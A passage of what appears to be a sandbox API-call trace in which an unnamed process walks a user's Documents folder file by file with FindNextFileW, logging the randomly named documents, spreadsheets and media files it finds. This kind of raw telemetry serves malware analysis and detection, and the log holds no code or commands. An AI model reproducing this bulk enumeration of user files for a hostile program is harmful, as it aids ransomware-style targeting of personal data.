ftCreationTime.dwHighDateTime=0x1d4c8e6, ftLastAccessTime.dwLowDateTime=0xe697d230, ftLastAccessTime.dwHighDateTime=0x1d4d1cc, ftLastWriteTime.dwLowDateTime=0xe697d230, ftLastWriteTime.dwHighDateTime=0x1d4d1cc, nFileSizeHigh=0x0, nFileSizeLow=0x483b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qW ivUaVqr_On1.avi", cAlternateFileName="QWIVUA~1.AVI")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c885690, ftCreationTime.dwHighDateTime=0x1d4d368, ftLastAccessTime.dwLowDateTime=0x3f2cfbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44d, ftLastWriteTime.dwLowDateTime=0x3f2cfbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44d, nFileSizeHigh=0x0, nFileSizeLow=0x11c32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rboqf3f1pV5M.png", cAlternateFileName="RBOQF3~1.PNG")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be46600, ftCreationTime.dwHighDateTime=0x1d4cfcc, ftLastAccessTime.dwLowDateTime=0x3b124230, ftLastAccessTime.dwHighDateTime=0x1d4ccbb, ftLastWriteTime.dwLowDateTime=0x3b124230, ftLastWriteTime.dwHighDateTime=0x1d4ccbb, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t9PlAeBS-2DXgBXz.mkv", cAlternateFileName="T9PLAE~1.MKV")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37325ca0, ftCreationTime.dwHighDateTime=0x1d4ca0d, ftLastAccessTime.dwLowDateTime=0xeaa17800, ftLastAccessTime.dwHighDateTime=0x1d4ceb5, ftLastWriteTime.dwLowDateTime=0xeaa17800, ftLastWriteTime.dwHighDateTime=0x1d4ceb5, nFileSizeHigh=0x0, nFileSizeLow=0x1195a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uRUwiXJup.flv", cAlternateFileName="URUWIX~1.FLV")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4feed190, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0x989616d0, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0x989616d0, ftLastWriteTime.dwHighDateTime=0x1d4d304, nFileSizeHigh=0x0, nFileSizeLow=0xb5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VDarx005qh2__sirr.png", cAlternateFileName="VDARX0~1.PNG")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e88bf80, ftCreationTime.dwHighDateTime=0x1d4c6fb, ftLastAccessTime.dwLowDateTime=0x5c0a71d0, ftLastAccessTime.dwHighDateTime=0x1d4d10f, ftLastWriteTime.dwLowDateTime=0x5c0a71d0, ftLastWriteTime.dwHighDateTime=0x1d4d10f, nFileSizeHigh=0x0, nFileSizeLow=0x5628, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y7SdTqWYI32_I2EQyR.flv", cAlternateFileName="Y7SDTQ~1.FLV")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308337c0, ftCreationTime.dwHighDateTime=0x1d4ccc0, ftLastAccessTime.dwLowDateTime=0x1106fb10, ftLastAccessTime.dwHighDateTime=0x1d4ce51, ftLastWriteTime.dwLowDateTime=0x1106fb10, ftLastWriteTime.dwHighDateTime=0x1d4ce51, nFileSizeHigh=0x0, nFileSizeLow=0x113c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yg8 kLfurYIaQM697h.mkv", cAlternateFileName="YG8KLF~1.MKV")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984b4d10, ftCreationTime.dwHighDateTime=0x1d4cfe1, ftLastAccessTime.dwLowDateTime=0xbc28ef10, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0xbc28ef10, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x16c6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zDvwnZ.mkv", cAlternateFileName="")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984b4d10, ftCreationTime.dwHighDateTime=0x1d4cfe1, ftLastAccessTime.dwLowDateTime=0xbc28ef10, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0xbc28ef10, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x16c6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zDvwnZ.mkv", cAlternateFileName="")) returned 0 [0266.499] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.499] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.499] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.499] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.499] PathFindFileNameW (pszPath="") returned="" [0266.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0266.499] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.499] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c0e82d0, ftCreationTime.dwHighDateTime=0x1d4d501, ftLastAccessTime.dwLowDateTime=0x18a91640, ftLastAccessTime.dwHighDateTime=0x1d4cb00, ftLastWriteTime.dwLowDateTime=0x18a91640, ftLastWriteTime.dwHighDateTime=0x1d4cb00, nFileSizeHigh=0x0, nFileSizeLow=0xa1b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-G9kfPr.doc", cAlternateFileName="")) returned 1 [0266.499] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609f1830, ftCreationTime.dwHighDateTime=0x1d4ab8b, ftLastAccessTime.dwLowDateTime=0xd51fb470, ftLastAccessTime.dwHighDateTime=0x1d4dec7, ftLastWriteTime.dwLowDateTime=0xd51fb470, ftLastWriteTime.dwHighDateTime=0x1d4dec7, nFileSizeHigh=0x0, nFileSizeLow=0x15119, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15jZzXpvGAgxYF0U.docx", cAlternateFileName="15JZZX~1.DOC")) returned 1 [0266.499] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce7680f0, ftCreationTime.dwHighDateTime=0x1d4e4c5, ftLastAccessTime.dwLowDateTime=0x27892fb0, ftLastAccessTime.dwHighDateTime=0x1d49f27, ftLastWriteTime.dwLowDateTime=0x27892fb0, ftLastWriteTime.dwHighDateTime=0x1d49f27, nFileSizeHigh=0x0, nFileSizeLow=0x2355, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="29xL.docx", cAlternateFileName="29XL~1.DOC")) returned 1 [0266.499] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12e778b0, ftCreationTime.dwHighDateTime=0x1d4fca5, ftLastAccessTime.dwLowDateTime=0x497f6130, ftLastAccessTime.dwHighDateTime=0x1d4eab2, ftLastWriteTime.dwLowDateTime=0x497f6130, ftLastWriteTime.dwHighDateTime=0x1d4eab2, nFileSizeHigh=0x0, nFileSizeLow=0x159de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5BThH.xlsx", cAlternateFileName="5BTHH~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48ee2d40, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x136a9350, ftLastAccessTime.dwHighDateTime=0x1d4cc3d, ftLastWriteTime.dwLowDateTime=0x136a9350, ftLastWriteTime.dwHighDateTime=0x1d4cc3d, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eEgQJA.doc", cAlternateFileName="")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fed4600, ftCreationTime.dwHighDateTime=0x1d4a43a, ftLastAccessTime.dwLowDateTime=0xd14e0b00, ftLastAccessTime.dwHighDateTime=0x1d4ae4b, ftLastWriteTime.dwLowDateTime=0xd14e0b00, ftLastWriteTime.dwHighDateTime=0x1d4ae4b, nFileSizeHigh=0x0, nFileSizeLow=0xdaea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6agqO0CE.xlsx", cAlternateFileName="6AGQO0~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18246e0, ftCreationTime.dwHighDateTime=0x1d4d372, ftLastAccessTime.dwLowDateTime=0x16541b40, ftLastAccessTime.dwHighDateTime=0x1d4c7f6, ftLastWriteTime.dwLowDateTime=0x16541b40, ftLastWriteTime.dwHighDateTime=0x1d4c7f6, nFileSizeHigh=0x0, nFileSizeLow=0x16ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7Cdo.csv", cAlternateFileName="")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ebd8b0, ftCreationTime.dwHighDateTime=0x1d4f407, ftLastAccessTime.dwLowDateTime=0xb4e67740, ftLastAccessTime.dwHighDateTime=0x1d49262, ftLastWriteTime.dwLowDateTime=0xb4e67740, ftLastWriteTime.dwHighDateTime=0x1d49262, nFileSizeHigh=0x0, nFileSizeLow=0x17982, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8Lf.pptx", cAlternateFileName="A8LF~1.PPT")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b89e70, ftCreationTime.dwHighDateTime=0x1d4e9ad, ftLastAccessTime.dwLowDateTime=0xe5da45c0, ftLastAccessTime.dwHighDateTime=0x1d477ff, ftLastWriteTime.dwLowDateTime=0xe5da45c0, ftLastWriteTime.dwHighDateTime=0x1d477ff, nFileSizeHigh=0x0, nFileSizeLow=0x8d8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ApjV0L.xlsx", cAlternateFileName="APJV0L~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x347530a0, ftCreationTime.dwHighDateTime=0x1d4fdcf, ftLastAccessTime.dwLowDateTime=0xbb06b430, ftLastAccessTime.dwHighDateTime=0x1d4da4e, ftLastWriteTime.dwLowDateTime=0xbb06b430, ftLastWriteTime.dwHighDateTime=0x1d4da4e, nFileSizeHigh=0x0, nFileSizeLow=0x1971, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bRr UxgKvk lgV DA.pptx", cAlternateFileName="BRRUXG~1.PPT")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dfaa30, ftCreationTime.dwHighDateTime=0x1d4c18c, ftLastAccessTime.dwLowDateTime=0x3d41b1c0, ftLastAccessTime.dwHighDateTime=0x1d49396, ftLastWriteTime.dwLowDateTime=0x3d41b1c0, ftLastWriteTime.dwHighDateTime=0x1d49396, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dlmumiy0mdd o.xlsx", cAlternateFileName="DLMUMI~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e67cf30, ftCreationTime.dwHighDateTime=0x1d4ae7f, ftLastAccessTime.dwLowDateTime=0x5548e290, ftLastAccessTime.dwHighDateTime=0x1d4c99f, ftLastWriteTime.dwLowDateTime=0x5548e290, ftLastWriteTime.dwHighDateTime=0x1d4c99f, nFileSizeHigh=0x0, nFileSizeLow=0x6fde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E9c6yerqTjnAvgifiGH.pptx", cAlternateFileName="E9C6YE~1.PPT")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebdb7190, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0xc025850, ftLastAccessTime.dwHighDateTime=0x1d4870a, ftLastWriteTime.dwLowDateTime=0xc025850, ftLastWriteTime.dwHighDateTime=0x1d4870a, nFileSizeHigh=0x0, nFileSizeLow=0x8365, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9_rdw 0S48c8wWGxtcZ.docx", cAlternateFileName="E9_RDW~1.DOC")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd37d60, ftCreationTime.dwHighDateTime=0x1d4f99e, ftLastAccessTime.dwLowDateTime=0x31f7c600, ftLastAccessTime.dwHighDateTime=0x1d4901d, ftLastWriteTime.dwLowDateTime=0x31f7c600, ftLastWriteTime.dwHighDateTime=0x1d4901d, nFileSizeHigh=0x0, nFileSizeLow=0x13a19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F66QZsvCIiq3.xlsx", cAlternateFileName="F66QZS~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd333230, ftCreationTime.dwHighDateTime=0x1d4cfe2, ftLastAccessTime.dwLowDateTime=0x538c8d80, ftLastAccessTime.dwHighDateTime=0x1d4c7e7, ftLastWriteTime.dwLowDateTime=0x538c8d80, ftLastWriteTime.dwHighDateTime=0x1d4c7e7, nFileSizeHigh=0x0, nFileSizeLow=0xcaff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FT5DlVKU9skfgHqGxmUn.ods", cAlternateFileName="FT5DLV~1.ODS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9828ef10, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x8a12ec20, ftLastAccessTime.dwHighDateTime=0x1d4d438, ftLastWriteTime.dwLowDateTime=0x8a12ec20, ftLastWriteTime.dwHighDateTime=0x1d4d438, nFileSizeHigh=0x0, nFileSizeLow=0x126d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g61yn2 WbDs1g.odp", cAlternateFileName="G61YN2~1.ODP")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95787820, ftCreationTime.dwHighDateTime=0x1d4d10c, ftLastAccessTime.dwLowDateTime=0x3c4eb430, ftLastAccessTime.dwHighDateTime=0x1d4cad6, ftLastWriteTime.dwLowDateTime=0x3c4eb430, ftLastWriteTime.dwHighDateTime=0x1d4cad6, nFileSizeHigh=0x0, nFileSizeLow=0x76ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GaPuN558 zq.xlsx", cAlternateFileName="GAPUN5~1.XLS")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4fcaab0, ftCreationTime.dwHighDateTime=0x1d4d462, ftLastAccessTime.dwLowDateTime=0x7e686780, ftLastAccessTime.dwHighDateTime=0x1d4cfc7, ftLastWriteTime.dwLowDateTime=0x7e686780, ftLastWriteTime.dwHighDateTime=0x1d4cfc7, nFileSizeHigh=0x0, nFileSizeLow=0xb0e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gdzkVlfc2.rtf", cAlternateFileName="GDZKVL~1.RTF")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59933310, ftCreationTime.dwHighDateTime=0x1d4ac2a, ftLastAccessTime.dwLowDateTime=0xa7c017a0, ftLastAccessTime.dwHighDateTime=0x1d4ac67, ftLastWriteTime.dwLowDateTime=0xa7c017a0, ftLastWriteTime.dwHighDateTime=0x1d4ac67, nFileSizeHigh=0x0, nFileSizeLow=0x6895, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ii08Wr6qQ2it.pptx", cAlternateFileName="II08WR~1.PPT")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0f7130, ftCreationTime.dwHighDateTime=0x1d4c937, ftLastAccessTime.dwLowDateTime=0x7caf8050, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x7caf8050, ftLastWriteTime.dwHighDateTime=0x1d4c729, nFileSizeHigh=0x0, nFileSizeLow=0x1581d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INx_XXf1fj2VzxVM7GZ.ppt", cAlternateFileName="INX_XX~1.PPT")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaa44ff0, ftCreationTime.dwHighDateTime=0x1d4d286, ftLastAccessTime.dwLowDateTime=0xf94104c0, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0xf94104c0, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0x7441, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jmoep.pps", cAlternateFileName="")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812ac350, ftCreationTime.dwHighDateTime=0x1d4c95a, ftLastAccessTime.dwLowDateTime=0x33cb47d0, ftLastAccessTime.dwHighDateTime=0x1d4c994, ftLastWriteTime.dwLowDateTime=0x33cb47d0, ftLastWriteTime.dwHighDateTime=0x1d4c994, nFileSizeHigh=0x0, nFileSizeLow=0x3eee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lZ7mFKQ3H.pdf", cAlternateFileName="LZ7MFK~1.PDF")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mbmFXME9ZArqIFJjiii", cAlternateFileName="MBMFXM~1")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813437e0, ftCreationTime.dwHighDateTime=0x1d4cac8, ftLastAccessTime.dwLowDateTime=0x22eeb320, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0x22eeb320, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0xfb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MiOR3NQChO8s.rtf", cAlternateFileName="MIOR3N~1.RTF")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46fc52f0, ftCreationTime.dwHighDateTime=0x1d4d14f, ftLastAccessTime.dwLowDateTime=0x1ee32180, ftLastAccessTime.dwHighDateTime=0x1d4cc87, ftLastWriteTime.dwLowDateTime=0x1ee32180, ftLastWriteTime.dwHighDateTime=0x1d4cc87, nFileSizeHigh=0x0, nFileSizeLow=0x4abf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mSBpETwT0_vcERkN.odp", cAlternateFileName="MSBPET~1.ODP")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0266.501] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0266.501] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12a6f50, ftCreationTime.dwHighDateTime=0x1d4c6b4, ftLastAccessTime.dwLowDateTime=0x9d9ac080, ftLastAccessTime.dwHighDateTime=0x1d4ca31, ftLastWriteTime.dwLowDateTime=0x9d9ac080, ftLastWriteTime.dwHighDateTime=0x1d4ca31, nFileSizeHigh=0x0, nFileSizeLow=0x62d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N-K3DozDdSgAnSFGZTgY.xlsx", cAlternateFileName="N-K3DO~1.XLS")) returned 1 [0266.501] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515581f0, ftCreationTime.dwHighDateTime=0x1d4cc08, ftLastAccessTime.dwLowDateTime=0xe7664ea0, ftLastAccessTime.dwHighDateTime=0x1d4c92d, ftLastWriteTime.dwLowDateTime=0xe7664ea0, ftLastWriteTime.dwHighDateTime=0x1d4c92d, nFileSizeHigh=0x0, nFileSizeLow=0x9deb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NX4iP.ppt", cAlternateFileName="")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 